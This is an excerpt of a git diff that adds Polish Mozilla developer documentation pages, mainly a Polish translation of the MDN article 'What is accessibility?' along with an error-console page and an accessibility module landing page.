+<p>Konsola błędów to narzędzie dostępne w większości aplikacji opartych na technologiach Mozilli, które służy do powiadamiania o błędach w warstwie chrome aplikacji oraz na otwartych przez użytkownika stronach WWW. Zgłąszane są błędy i ostrzeżenia związane z <a href="pl/JavaScript">JavaScriptem</a>, błędy w arkuszach <a href="pl/CSS">CSS</a> oraz różne komunikaty z kodu warstwy chrome.</p>
+<p>Przed <a href="pl/Gecko">Gecko</a> 1.8.1 (tj. w programach starszych niż <a href="pl/Firefox_2">Firefox 2</a>), konsola ta nazywana była "Konsolą JavaScript" (zob. {{ Bug(265871) }}).</p>
+<p>Rozszerzenie <a class="link-https" href="https://addons.mozilla.org/firefox/1815/">Console<sup>2</sup></a> jest zamiennikiem wbudowanej konsoli błędów, poprawiającym szereg błędów i wprowadzającym wiele długo oczekiwanych funkcji.</p>
+<h3 id="Rodzaje_b.C5.82.C4.99d.C3.B3w" name="Rodzaje_b.C5.82.C4.99d.C3.B3w">Rodzaje błędów</h3>
+<ul>
+ <li>Błąd - zwykle błąd składni uniemożliwiający kompilację programu.</li>
+ <li>Ostrzeżenie - zwykle pozwala na kompilację, ale ostrzega przed złym stylem programowania i błędami projektowymi.</li>
+ <li>Wiadomość - podobna do ostrzeżenia, rzadko stosowana.</li>
+</ul>
+<h3 id="Manipulowanie_danymi_wy.C5.9Bwietlanymi_w_konsoli_b.C5.82.C4.99d.C3.B3w" name="Manipulowanie_danymi_wy.C5.9Bwietlanymi_w_konsoli_b.C5.82.C4.99d.C3.B3w">Manipulowanie danymi wyświetlanymi w konsoli błędów</h3>
+<p>Dostęp do informacji wyświetlanych w konsoli błędów możliwy jest z poziomu interfejsu <code><a href="pl/NsIConsoleService">nsIConsoleService</a></code>. Prostszym sposobem na dodawanie komunikatów do konsoli jest metoda <code><a href="pl/Components.utils.reportError">Components.utils.reportError</a></code>, albo, jeśli chcemy korzystać z konsoli systemu operacyjnego, <code><a href="pl/DOM/window.dump">dump()</a></code>.</p>
+<p>Aby otworzyć okno konsoli błędów z poziomu okna przeglądarki lub klienta poczty, należy użyć funkcji<code>toJavaScriptConsole()</code>.</p>
+<div class="noinclude">
+  </div>
diff --git a/files/pl/learn/accessibility/index.html b/files/pl/learn/accessibility/index.html
new file mode 100644
index 0000000000..6f11284331
--- /dev/null
+++ b/files/pl/learn/accessibility/index.html
@@ -0,0 +1,62 @@
+---
+title: Accessibility
+slug: Learn/Accessibility
+tags:
+ - ARIA
+ - Accessibility
+ - Articles
+ - Beginner
+ - CSS
+ - CodingScripting
+ - HTML
+ - JavaScript
+ - Landing
+ - Learn
+ - Module
+ - NeedsTranslation
+ - TopicStub
+translation_of: Learn/Accessibility
+---
+<div>{{LearnSidebar}}</div>
+
+<p class="summary">Learning some HTML, CSS, and JavaScript is useful if you want to become a web developer, but your knowledge needs to go further than just using the technologies — you need to use them responsibly so that you maximize the audience for your websites and don't lock anyone out of using them. To achieve this, you need to adhere to general best practices (which are demonstrated throughout the <a href="/en-US/docs/Learn/HTML">HTML</a>, <a href="/en-US/docs/Learn/CSS">CSS</a>, and <a href="/en-US/docs/Learn/JavaScript">JavaScript</a> topics), do <a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing">cross browser testing</a>, and consider accessibility from the start. In this module we'll cover the latter in detail.</p>
+
+<h2 id="Prerequisites">Prerequisites</h2>
+
+<p>To get the most out of this module, it would be a good idea to either work through at least the first two modules of the <a href="/en-US/docs/Learn/HTML">HTML</a>, <a href="/en-US/docs/Learn/CSS">CSS</a>, and <a href="/en-US/docs/Learn/JavaScript">JavaScript</a> topics, or perhaps even better, work through the relevant parts of the accessibility module as you work through the related technology topics.</p>
+
+<div class="note">
+<p><strong>Note</strong>: If you are working on a computer/tablet/other device where you don't have the ability to create your own files, you can try out most of the code examples in an online coding program such as <a href="http://jsbin.com/">JSBin</a> or <a href="https://thimble.mozilla.org/">Thimble</a>.</p>
+</div>
+
+<h2 id="Guides">Guides</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Learn/Accessibility/What_is_accessibility">What is accessibility?</a></dt>
+ <dd>This article starts the module off with a good look at what accessibility actually is — this includes what groups of people we need to consider and why, what tools different people use to interact with the web, and how we can make accessibility part of our web development workflow.</dd>
+ <dt><a href="/en-US/docs/Learn/Accessibility/HTML">HTML: A good basis for accessibility</a></dt>
+ <dd>A great deal of web content can be made accessible just by making sure the correct HTML elements are used for the correct purpose at all times. This article looks in detail at how HTML can be used to ensure maximum accessibility.</dd>
+ <dt><a href="/en-US/docs/Learn/Accessibility/CSS_and_JavaScript">CSS and JavaScript accessibility best practices</a></dt>
+ <dd>CSS and JavaScript, when used properly, also have the potential to allow for accessible web experiences, but if misused they can significantly harm accessibility. This article outlines some CSS and JavaScript best practices that should be considered to ensure that even complex content is as accessible as possible.</dd>
+ <dt><a href="/en-US/docs/Learn/Accessibility/WAI-ARIA_basics">WAI-ARIA basics</a></dt>
+ <dd>Following on from the previous article, sometimes making complex UI controls that involve unsemantic HTML and dynamic JavaScript-updated content can be difficult. WAI-ARIA is a technology that can help with such problems by adding in further semantics that browsers and assistive technologies can recognize and use to let users know what is going on. Here we'll show how to use it at a basic level to improve accessiblity.</dd>
+ <dt><a href="/en-US/docs/Learn/Accessibility/Multimedia">Accessible multimedia</a></dt>
+ <dd>Another category of content that can create accessibility problems is multimedia — video, audio, and image content need to be given proper textual alternatives so they can be understood by assistive technologies and their users. This article shows how.</dd>
+ <dt><a href="/en-US/docs/Learn/Accessibility/Mobile">Mobile accessibility</a></dt>
+ <dd>With web access on mobile devices being so popular, and popular platforms such as iOS and Android having fully-fledged accessibility tools, it is important to consider the accessibility of your web content on these plartforms. This article looks at mobile-specific accessibility considerations.</dd>
+</dl>
+
+<h2 id="Assessments">Assessments</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Learn/Accessibility/Accessibility_troubleshooting">Accessibility troubleshooting</a></dt>
+ <dd>In the assessment for this module, we present to you a simple site with a number of accessibility issues that you need to diagnose and fix.</dd>
+</dl>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="https://egghead.io/courses/start-building-accessible-web-applications-today">Start Building Accessible Web Applications Today</a> — an excellent series of video tutorials by Marcy Sutton.</li>
+ <li><a href="https://dequeuniversity.com/resources/">Deque University resources</a> — includes code examples, screen reader references, and other useful resources.</li>
+ <li><a href="http://webaim.org/resources/">WebAIM resources</a> — includes guides, checklists, tools, and more.</li>
+</ul>
diff --git a/files/pl/learn/accessibility/what_is_accessibility/index.html b/files/pl/learn/accessibility/what_is_accessibility/index.html
new file mode 100644
index 0000000000..c9461540df
--- /dev/null
+++ b/files/pl/learn/accessibility/what_is_accessibility/index.html
@@ -0,0 +1,193 @@
+---
+title: Czym jest dostępność?
+slug: Learn/Accessibility/What_is_accessibility
+tags:
+ - AT
+ - CSS
+ - Dostępność
+ - HTML
+ - JavaScript
+ - artykuł
+ - czytnik ekranu
+ - technologie wspomagające
+ - użytkownicy
+translation_of: Learn/Accessibility/What_is_accessibility
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{NextMenu("Learn/Accessibility/HTML", "Learn/Accessibility")}}</div>
+
+<p class="summary">Niniejszy artykuł stanowi wstęp do modułu i jednocześnie obszerną odpowiedź na pytanie, czym właściwie jest dostępność — w tym jakie grupy ludzi powinniśmy brać pod uwagę i dlaczego, jakich narzędzi używają oni do interakcji z siecią oraz jak uczynić dostępność częścią naszej organizacji zadań.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+ <tr>
+ <th scope="row">Wymagania</th>
+ <td>Podstawowe umiejętności obsługi komputera, podstawowa znajomość HTML i CSS.</td>
+ </tr>
+ <tr>
+ <th scope="row">Cel:</th>
+ <td>Zaznajomienie z ideą dostępności, z uwzględnieniem jej definicji oraz wpływu na pracę programisty Web.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Czym_więc_jest_dostępność">Czym więc jest dostępność?</h2>
+
+<p>Dostępność jest praktyką dostosowywania stron internetowych do użytku przez tak wielu ludzi, jak jest to możliwe — przyjęło się, że mamy w tym miejscu na myśli osoby niepełnosprawne, jednak w praktyce pojęcie to odwołuje się też do ludzi używających urządzeń mobilnych czy tych z wolnym połączeniem sieciowym.</p>
+
+<p>Możemy myśleć o dostępności jako o zapewnieniu tych samych możliwości wszystkim ludziom, bez względu na ich ograniczenia. W taki sam sposób, w jaki nie jest w porządku wykluczenie kogoś z korzystania z budynku, ponieważ porusza się on na wózku inwalidzkim (obecnie większość budynków publicznych posiada podjazdy dla wózków inwalidzkich albo windy), nie jest w porządku wykluczenie z używania strony internetowej osoby z ograniczeniami wzroku lub używającej urządzenia z małym wyświetlaczem. Każdy z nas jest inny, ale przecież wszyscy jesteśmy ludźmi, mamy więc te same (ludzkie) prawa.</p>
+
+<p>Toteż dostępność jest czymś co po prostu powinniśmy robić, bo jest właściwe. Z drugiej strony w niektórych państwach obowiązują wymogi prawne wymuszające jej stosowanie, dostępność może też pomóc w dotarciu do ważnych grup docelowych, które bez niej nie będą w stanie używać naszych usług, kupować naszych produktów itd.</p>
+
+<p>Dostępność i dobre praktyki które pociąga ona za sobą mogą przynieść korzyść każdemu:</p>
+
+<ul>
+ <li>Semantyczny HTML (którzy usprawnia dostępność) poprawia też SEO, sprawiając, że nasza strona jest łatwiejsza do znalezienia.  </li>
+ <li>Dbanie o dostępność jest przejawem rozwiniętej moralności, co pozytywnie wpływa na nasz wizerunek publiczny.</li>
+ <li>Dobre praktyki poprawiające dostępność ułatwiają obsługę strony również ludziom z takich grup docelowych jak użytkownicy telefonów komórkowych, wolnych łączy sieciowych itp. Tak naprawdę każdy użytkownik może skorzystać z usprawnień dostępności.</li>
+ <li>Wspomnieliśmy już o przepisach prawnych obowiązujących w niektórych państwach?</li>
+</ul>
+
+<h2 id="Jakie_rodzaje_ograniczeń_bierzemy_pod_uwagę"><strong>Jakie rodzaje ograniczeń bierzemy pod uwagę? </strong></h2>
+
+<p>Ludzie z niepełnosprawnościami są równie bardzo zróżnicowani jak ludzie bez nich, również pod względem swoich ograniczeń. Kluczową lekcją jest tutaj myślenie wykraczające poza schemat naszego codziennego użytkowania Internetu na naszym komputerze i zastanowienie się nad tym, jak robią to inni —<em>użytkownicy naszych stron to nie my.</em> Główne rodzaje niepełnosprawności które należy rozważyć są opisane poniżej, wraz ze specjalnymi narzędziami, które ułatwiają cierpiącym na nie ludziom dostęp do treści internetowej (znane jako <strong>technologie wspomagające</strong>, ang. <strong>AT - assistive technologies</strong>).</p>
+
+<div class="note">
+<p><strong>Uwaga</strong>: Według dokumentu Disability and health Światowej Organizacji Zdrowia, „ponad miliard ludzi, około 15% światowej populacji, posiada jakąś formę niepełnosprawności” i „od 110 do 190 milionów dorosłych boryka się ze znacznymi trudnościami w funkcjonowaniu”.</p>
+</div>
+
+<h3 id="Osoby_niepełnosprawne_wzrokowo">Osoby niepełnosprawne wzrokowo</h3>
+
+<p>Ta grupa obejmuje użytkowników z ślepotą, obniżoną ostrością wzroku, daltonizmem itp. Wielu z nich używa powiększalników (zarówno fizycznych urządzeń, jak i programów typu lupa ekranowa — większość współczesnych przeglądarek i systemów operacyjnych ma taką funkcjonalność), inni korzystają z czytników ekranu, czyli oprogramowania umożliwiającego odsłuchanie treści tekstowej strony. Wśród nich wyróżniamy:</p>
+
+<ul>
+ <li>Płatne produkty, takie jak <a href="http://www.freedomscientific.com/Products/Blindness/JAWS">JAWS</a> (Windows) i <a href="http://www.gwmicro.com/window-eyes/">Window Eyes</a> (Windows).</li>
+ <li>Darmowe produkty, tak jak <a href="http://www.nvaccess.org/">NVDA</a> (Windows), <a href="http://www.chromevox.com/">ChromeVox</a> (Chrome, Windows, Mac OS X) i <a href="https://wiki.gnome.org/Projects/Orca">Orca</a> (Linux).</li>
+ <li>Programy wbudowane w systemy operacyjne, takie jak <a href="http://www.apple.com/accessibility/osx/voiceover/">VoiceOver</a> (Mac OS X, iOS), <a href="https://support.microsoft.com/en-us/help/22798/windows-10-narrator-get-started">Narrator</a> (Microsoft Windows), <a href="http://www.chromevox.com/">ChromeVox</a> (Chrome OS), i <a href="https://play.google.com/store/apps/details?id=com.google.android.marvin.talkback">TalkBack</a> (Android).</li>
+</ul>
+
+<p>Dobrym pomysłem jest zapoznanie się działaniem czytników ekranowych, na przykład poprzez skonfigurowanie takiego czytnika na swoim urządzeniu i eksperymentowanie z różnymi rodzajami odczytywanej treści. Więcej informacji o ich używaniu można znaleźć w naszych <a href="https://developer.mozilla.org/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility#Screenreaders">testach obsługi czytników ekranu w różnych przeglądarkach</a>, a poniższy film prezentuje doświadczenie używania takiego programu.</p>
+
+<p>{{EmbedYouTube("IK97XMibEws")}}</p>
+
+<p>Pod względem statystycznym, według Światowej Organizacji Zdrowia „szacuje się, że 285 milionów ludzi na całym świecie jest niedowidzących: 39 milionów cierpi na ślepotę, a 246 ma obniżoną ostrość wzroku.” (zob. <a href="http://www.who.int/mediacentre/factsheets/fs282/en/">Visual impairment and blindness</a>). To bardzo liczna i znacząca grupa użytkowników, do których możemy nie dotrzeć z powodu nieprawidłowo wykonanej strony internetowej — niemal tak liczna jak populacja Stanów Zjednoczonych.</p>
+
+<h3 id="Osoby_niepełnosprawne_słuchowo">Osoby niepełnosprawne słuchowo</h3>
+
+<p>Znane także jako osoby niedosłyszące, osoby głuche. Ci użytkownicy charakteryzują się problemami ze słuchem lub całkowitym brakiem zdolności słuchowych i wprawdzie używają oni technologii wspomagających (zob. <a href="https://www.nidcd.nih.gov/health/assistive-devices-people-hearing-voice-speech-or-language-disorders">Assistive Devices for People with Hearing, Voice, Speech, or Language Disorders</a>), nie istnieją żadne ułatwienia tego typu zadedykowane użytkowaniu komputera/Internetu.</p>
+
+<p>Warto więc mieć na uwadze techniki zapewniania wizualnej alternatywy dla dźwiękowej treści strony, takie jak transkrypty nagrań czy napisy wyświetlane na filmach. Jeden z kolejnych artykułów porusza ten temat.</p>
+
+<p>Osoby z zaburzeniami słuchu również stanowią znaczącą grupę odbiorców — jak podaje Światowa Organizacja Zdrowia w <a href="http://www.who.int/mediacentre/factsheets/fs300/en/">Deafness and hearing loss</a>, „360 milionów ludzi na całym świecie jest niepełnosprawnych słuchowo”.</p>
+
+<h3 id="Osoby_niepełnosprawne_ruchowo">Osoby niepełnosprawne ruchowo</h3>
+
+<p>Ci użytkownicy odznaczają się ograniczeniami ruchowymi, które mają zarówno typowo fizyczne przyczyny (takie jak utrata kończyny czy paraliż) jak i neurologiczne/genetyczne, prowadzące do osłabienia zmniejszającego zdolności ruchowe lub niedowładu kończyn. Niektórym osobom mogą sprawiać trudność precyzyjne ruchy dłoni wymagane do operowania myszką, podczas gdy inne dotknięte są poważniejszymi upośledzeniami,  na przykład byciem sparaliżowanym w takim stopniu, że interakcja z komputerem jest niemożliwa bez używania <a href="https://www.performancehealth.com/baseball-cap-head-pointer">head pointera</a>.</p>
+
+<p>Ten rodzaj utrudnień dostępu może być również następstwem podeszłego wieku lub wynikać z ograniczeń sprzętowych — niektórzy użytkownicy mogą nie posiadać myszki.</p>
+
+<p>W praktyce programisty Web, odpowiedź na niepełnosprawność ruchową użytkownika oznacza najczęściej wdrożenie możliwości nawigowania po stronie za pomocą klawiatury — zajmiemy się tym zagadnieniem w dalszej części modułu, natomiast teraz polecamy mały test poruszania się po kilku stronach internetowych bez użycia myszki. Podczas niego zwracajmy uwagę na kwestie typu: czy możemy przemieszczać się między różnymi polami formularza używając klawisza tab? Więcej o nawigacji na stronach internetowych za pomocą klawiatury możesz znaleźć w naszych <a href="https://developer.mozilla.org/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility#Using_native_keyboard_accessibility">testach obsługi ułatwień dostępu za pomocą klawiatury w różnych przeglądarkach</a>.</p>
+
+<p>Jeśli chodzi o statystyki, znaczący odsetek ludzi posiada ograniczenia ruchowe. Zgodnie z oceną Amerykańskiego Ośrodka Kontroli Chorób w artykule <a href="http://www.cdc.gov/nchs/fastats/disability.htm">Disability and Functioning (Noninstitutionalized Adults 18 Years and Over</a>, „odsetek dorosłych z borykających się z ograniczeniami ruchu: 15,1%”.</p>
+
+<h3 id="Osoby_z_zaburzeniami_funkcji_poznawczych">Osoby z zaburzeniami funkcji poznawczych</h3>
+
+<p>Do tej ostatniej kategorii należy prawdopodobnie najszerszy zakres różnych niepełnosprawności — pojęcie zaburzeń funkcji poznawczych pokrywa szereg utrudnień w funkcjonowaniu, od chorób psychicznych, trudności w uczeniu się, trudności w rozumieniu i koncentracji takich jak <a href="https://www.nimh.nih.gov/health/topics/attention-deficit-hyperactivity-disorder-adhd/index.shtml">ADHD (zespół nadpobudliwości z deficytem uwagi)</a>, do <a href="https://www.nimh.nih.gov/health/topics/autism-spectrum-disorders-asd/index.shtml">spektrum autystycznego</a>, <a href="https://www.nimh.nih.gov/health/topics/schizophrenia/index.shtml">schizofrenii</a> i wielu innych typów zaburzeń. Tego rodzaju utrudnienia mogą mieć wpływ na wiele aspektów codziennego życia związanych z pamięcią, rozwiązywaniem problemów, rozumieniem, skupieniem uwagi itp.</p>
+
+<p>Osoby z takimi niepełnosprawnościami mogą mieć problemy ze zrozumieniem tego jak wykonać konkretną czynność na stronie, pamiętaniem jak zrobiły to poprzednim razem lub wzrostem rozdrażnienia spowodowanego dezorientującą dla nich organizacją pracy i niespójnymi elementami układu i interfejsu strony.</p>
+
+<p>W przeciwieństwie do poprzednich zagadnień dostępności, w tym przypadku niemożliwe jest zdefiniowanie szybkich i prostych technik ułatwiającym użytkowanie strony takim osobom; zamiast tego należy zadbać o zaprojektowanie strony w sposób jak najbardziej logiczny, konsekwentny i prosty w użytku, na przykład przez upewnienie się, że:</p>
+
+<ul>
+ <li>układ stron jest konsekwentny — elementy nawigacji, nagłówka, stopki i głównej treści są zawsze w tych samych miejscach</li>
+ <li>narzędzia, z których korzystać będą użytkownicy strony, są proste w użyciu</li>
+ <li>wielostopniowe czynności wykonywane przez użytkowników są rozłożone na kilka logicznych kroków, z regularnie pojawiającymi się informacjami o tym, w którym miejscu jesteśmy i (jeśli okaże się to potrzebne) ile kroków pozostało do zakończenia procesu</li>
+ <li>organizacja pracy na stronie jest logiczna i prosta, a czynności do wykonania wymagają jak najmniej interakcji ze strony użytkownika. Na przykład, bardzo często rejestracja i logowanie okazują się być niepotrzebnie złożonymi procesami</li>
+ <li>poszczególne podstrony nie posiadają zbyt dużo prezentowanej za jednym razem treści</li>
+ <li>język użyty na stronie jest tak prosty i łatwy do zrozumienia jak tylko możliwe, bez używania zbędnego żargonu</li>
+ <li>ważne elementy treści są wyróżnione wizualnie</li>
+ <li>komunikaty o błędach spowodowanych działaniem użytkownika są dobrze wyeksponowane i zawierają informacje o sugerowanym rozwiązaniu problemu</li>
+</ul>
+
+<p>Powyższe zasady nie są tak naprawdę „technikami zapewnienia dostępności” — są po prostu dobrymi praktykami projektowania stron. Usprawnią korzystanie z naszej strony wszystkim użytkownikom i powinny być stałym standardem naszej pracy.</p>
+
+<p>Jeśli chodzi o statystyki, znów mamy do czynienia z wyraźnym odsetkiem ludzi. <a href="http://www.disabilitystatistics.org/StatusReports/2014-PDF/2014-StatusReport_US.pdf">2014 Disability Status Report</a> (PDF, 511KB) przygotowany przez Uniwersytet Cornella wskazuje, że w 2014 roku 4,5% populacji USA w przedziale wiekowym 21–64 lat borykała się z jakąś formą zaburzenia funkcji poznawczych.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Na stronie <a href="http://webaim.org/articles/cognitive/">WebAIM's Cognitive</a> znajduje się szersze omówienie powyższych praktyk, zdecydowanie polecamy się z nią zapoznać.</p>
+</div>
+
+<h2 id="Wdrażanie_dostępności"><strong>Wdrażanie dostępności</strong></h2>
+
+<p>Powszechnie panującym (i przeważnie błędnym) jest przekonanie, że dostępność jest drogim „ekstra dodatkiem” do projektu. To przekonanie<em> może</em> być prawdziwe, jeśli:</p>
+
+<ul>
+ <li>Próbujemy wdrożyć ją do wykonanej już strony internetowej z istotnymi problemami z dostępnością.</li>
+ <li>Zaczęliśmy brać pod uwagę jej wdrożenie w późnych stadiach projektu.</li>
+</ul>
+
+<p>Jeśli jednak rozważamy dostępność od samego początku projektu, koszt jej implementacji powinien być dosyć niski.</p>
+
+<p>Już na etapie planowania naszego projektu ustalmy dostępność jako stały element rutyny testowania i to element równie ważny, co pozostałe czynniki wpływające na odbiór strony w ważnych grupach docelowych (np. użytkowników komputerów stacjonarnych czy przeglądarek mobilnych). Testujmy ją często, poczynając od wczesnych etapów projektu, najlepiej wspomagając się automatycznymi testami poszukujących zdefiniowanych wcześniej błędów (takich jak brakujący <a href="https://developer.mozilla.org/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility#Text_alternatives">tekst alternatywny</a> przy obrazkach czy błędna budowa linku — zob. <a href="https://developer.mozilla.org/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility#Element_relationships_and_context">Relacje między elementami a kontekst</a>). Nie zapominajmy też o przeprowadzaniu testów z grupami niepełnosprawnych użytkowników w celu przekonać się, jak radzą sobie oni z bardziej złożonymi funkcjonalnościami strony. Na przykład:</p>
+
+<ul>
+ <li>Czy widżet wyboru daty może być używany przez ludzi korzystających z czytników ekranów?</li>
+ <li>Jeśli zawartość strony jest ładowana dynamicznie, czy osoby niepełnosprawne wzrokowo zauważą zmianę?</li>
+ <li>Czy z przycisków interfejsu użytkownika można korzystać z pomocą klawiatury i ekranów dotykowych?</li>
+</ul>
+
+<p>Możemy i powinniśmy sporządzać listy potencjalnych problemów w projekcie, które wymagać będą wypracowania dostępności. Upewnijmy się, że zostaną starannie przetestowane i pomyślmy o rozwiązaniach/alternatywach. Zawartość tekstowa (o czym przekonamy się w następnym artykule) jest łatwa do wypracowania dostępności, ale co z multimediami czy nowatorskimi grafikami 3D? Powinniśmy wziąć pod uwagę budżet projektu i racjonalnie podejść do wyboru możliwych do zrealizowania ułatwień dostępności. Możemy np. zapłacić za transkrypcję wszystkich plików dźwiękowych, co będzie drogie, ale jak najbardziej możliwe do zrealizowania.</p>
+
+<p>Poza tym, bądźmy realistyczni. „Stuprocentowa dostępność” jest nieosiągalnym celem — nie unikniemy sytuacji, w których dla wielu testujących użytkowników jakaś funkcjonalność strony ciągle będzie trudna do użytkowania — jednak powinniśmy zrobić tak dużo, jak jesteśmy w stanie. Jeśli planujemy zawrzeć na stronie trójwymiarowy wykres kołowy stworzony z użyciem WebGL, możemy np. zamieścić też tabelkę z danymi jako bardziej dostępną alternatywę. Możemy też zawrzeć samą tabelkę i pozbyć się wykresu 3D — tabelka jest łatwo dostępna dla wszystkich, szybsza w wykonaniu, zużywa mniej zasobów i łatwiejsza do późniejszej edycji.</p>
+
+<p>Z drugiej strony, jeśli pracujemy nad galerią internetową zawierającą ciekawe trójwymiarowe obrazy, nieracjonalnie byłoby oczekiwać, że uda się nam wypracować dostępność każdego z dzieł sztuki dla osób z zaburzeniami wzroku, w końcu jest to czysto wizualny środek przekazu.</p>
+
+<p>Możemy pokazać użytkownikom, że staramy się zapewnić im jak najwięcej ułatwień dostępu — na przykład przez dodanie komunikatu wyjaśniającego, że staramy się robić wszystko co w naszej mocy, aby ułatwić im korzystanie ze strony, oraz jakie kroki poczyniliśmy, aby to osiągnąć. Jeśli ktoś zgłasza skargę na utrudnienia na naszej stronie, bądźmy empatyczni, gotowi na otwarcie dialogu, a w razie możliwości podejmijmy właściwe kroki, aby rozwiązać ten problem.</p>
+
+<div class="note">
+<p><strong>Uwaga</strong>: W naszym artykule <a href="https://developer.mozilla.org/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility">Najczęstsze problemy dostępności i ich rozwiązania</a> omawiamy aspekty dostępności na które powinno się zwracać szczególną uwagę.</p>
+</div>
+
+<p>Podsumowując:</p>
+
+<ul>
+ <li>Bierzmy pod uwagę dostępność od samego początku projektu, testujmy ją od wczesnych etapów i często. Tak samo jak w przypadku każdego innego błędu, problemy dostępności będą kosztować tym więcej, im później zostały wykryte.</li>
+ <li>Pamiętajmy, że wiele dobrych praktyk wypracowujących dostępność zaowocuje korzyścią dla każdego, nie tylko dla użytkowników z niepełnosprawnością. Na przykład, nowoczesna semantyczna składnia HTML jest korzystna nie tylko dla czytników ekranów, jest także szybka w ładowaniu i przetwarzaniu, a więc lepsza dla każdego, zwłaszcza dla osób używających urządzeń mobilnych albo posiadających wolne łącze internetowe.</li>
+ <li>Umieszczajmy komunikaty o dostępności na naszych stronach i angażujmy się w dialog z osobami mającymi problemy z dostępem.</li>
+</ul>
+
+<h2 id="Wytyczne_dostępności_i_przepisy_prawne"><strong>Wytyczne dostępności i przepisy prawne</strong></h2>
+
+<p>Istnieje wiele list i wytycznych opisujących dostępność na stronach internetowych, co może wydawać się przytłaczające na pierwszy rzut oka. Naszą radą jest oswojenie się z konkretnymi wskazówkami, które okażą się najbardziej przydatne dla danego programisty, jak również zrozumienie ogólnej logiki stojącej za wytycznymi testów istotnych dla specyfiki projektu.</p>
+
+<ul>
+ <li>Na początek, W3C opublikowało rozległy i wyczerpujący dokument zawierający bardzo precyzyjne i otwarte na różne technologie wytyczne spójnej dostępności. Nazywa się <a href="https://www.w3.org/WAI/intro/wcag.php">Web Content Accessibility Guidelines</a> (WCAG) i zdecydowanie nie można go nazwać szybką lekturą. Kryteria są podzielone na cztery główne kategorie, każda z nich opisująca wdrożenia o różnej specyfice wykonania (np. w celu zapewnienia ułatwień wizualnych, czy też ułatwień wykonywania interakcji ze stroną). Najlepszym sposobem na zaczęcie tej lektury jest przejście przez szybkie wprowadzenie <a href="https://www.w3.org/WAI/WCAG20/glance/Overview.html">WCAG at a Glance</a>. Oczywiście, nie ma potrzeby znania WCAG na pamięć — miejmy świadomość rozległości tematyki tego opracowania, a także faktu, iż zostało w nim opisane wiele technik i narzędzi które nie są bezpośrednio związane z kryteriami WCAG (patrz niżej).</li>
+ <li>W twoim państwie mogą obowiązywać konkretne przepisy regulujące poziom dostępności treści na stronach internetowych — na przykład amerykańska <a href="http://www.section508.gov/content/learn">ustawa dot. rehabilitacji osób niepełnosprawnych</a>, niemiecka <a href="https://www.einfach-fuer-alle.de/artikel/bitv_english/">Barrierefreie-Informationstechnik-Verordnung</a>, <a href="http://www.legislation.gov.uk/ukpga/2010/15/contents">ustawa o równości</a> w Wielkiej Brytanii, włoska <a href="http://www.agid.gov.it/agenda-digitale/pubblica-amministrazione/accessibilita">Accessibilità</a>, australijska <a href="https://www.humanrights.gov.au/world-wide-web-access-disability-discrimination-act-advisory-notes-ver-41-2014">ustawa o dyskryminacji</a> itd.</li>
+</ul>
+
+<p>Więc podczas gdy WCAG jest po prostu zbiorem wytycznych przydatnych w projektowaniu i wdrażaniu, w twoim państwie prawdopodobnie obowiązują przepisy regulujące dostępność w Internecie, lub dostępność publicznych usług (takich jak strony internetowe, telewizja, budynki publiczne itd.). Dobrym pomysłem jest zapoznanie się z tymi prawami. Jeśli nie poczyniłeś żadnych kroków aby stworzyć odpowiednie ułatwienia dostępu, możesz mieć problemy prawne w momencie, gdy niepełnosprawni użytkownicy złożą skargę na twoją stronę.</p>
+
+<p>Brzmi to poważnie, jednak aby tego uniknąć wystarczy uznać dostępność jako główny priorytet programistycznych i projektowych praktyk, tak jak przedstawiono powyżej. Jeśli masz wątpliwości co do prawnego tła dostępności, zapytaj o radę wykwalifikowanego prawnika. Nie możemy zaoferować żadnej innej rady, ponieważ nie jesteśmy prawnikami.</p>
+
+<h2 id="API_dostępności"><strong>API dostępności</strong></h2>
+
+<p>Przeglądarki internetowe używają specjalnych <strong>API dostępności </strong>(dostarczanych przez system operacyjny, na którym działają) umożliwiających operowanie na informacjach użytecznych dla technologii wspomagających (AT). AT pracują głównie na informacjach semantycznych, ignorują więc style czy skrypty JavaScript. Informacje te tworzą drzewo informacji nazwane <strong>drzewem dostępności</strong>.</p>
+
+<p>Różne systemy operacyjne posiadają różne API dostępności:</p>
+
+<ul>
+ <li>Windows: MSAA/IAccessible, UIAExpress, IAccessible2</li>
+ <li>Mac OS X: NSAccessibility</li>
+ <li>Linux: AT-SPI</li>
+ <li>Android: Accessibility framework</li>
+ <li>iOS: UIAccessibility</li>
+</ul>
+
+<p>Gdy lokalne dane semantyczne dostarczane przez elementy HTML naszej aplikacji internetowej zawiodą, możemy zastąpić je funkcjami ze specyfikacji <a href="https://www.w3.org/TR/wai-aria/">WAI-ARIA</a>, które uzupełniają drzewo dostępności o semantyczne informacje, tym samym usprawniając dostępność. Więcej o WAI-ARIA można przeczytać w naszym artykule <a href="https://developer.mozilla.org/en-US/docs/Learn/Accessibility/WAI-ARIA_basics">Podstawy WAI-ARIA</a>.</p>
+
+<h2 id="Podsumowanie">Podsumowanie</h2>
+
+<p>Niniejszy artykuł powinien stanowić obszerny wstęp do kwestii dostępności, pokazać czemu jest ona tak ważna i objaśnić główne metody wdrażania jej do organizacji pracy programisty. Zakładamy, że teraz czytelnik czuje głód wiedzy odnośnie szczegółowych instrukcji implementacji dostępności na stronach internetowych. Temat ten zaczniemy omawiać w następnej sekcji, skupiając się na tym, czemu HTML jest dobrą podstawą do wypracowania dostępności.</p>
+
+<p>{{NextMenu("Learn/Accessibility/HTML", "Learn/Accessibility")}}</p>
diff --git a/files/pl/learn/common_questions/index.html b/files/pl/learn/common_questions/index.html
new file mode 100644
index 0000000000..a534656334
--- /dev/null
+++ b/files/pl/learn/common_questions/index.html
@@ -0,0 +1,135 @@
+---
+title: Common questions
+slug: Learn/Common_questions
+tags:
+ - CodingScripting
+ - Infrastructure
+ - Learn
+ - NeedsTranslation
+ - TopicStub
+ - Web
+ - WebMechanics
+translation_of: Learn/Common_questions
+---
+<div>{{LearnSidebar}}</div>
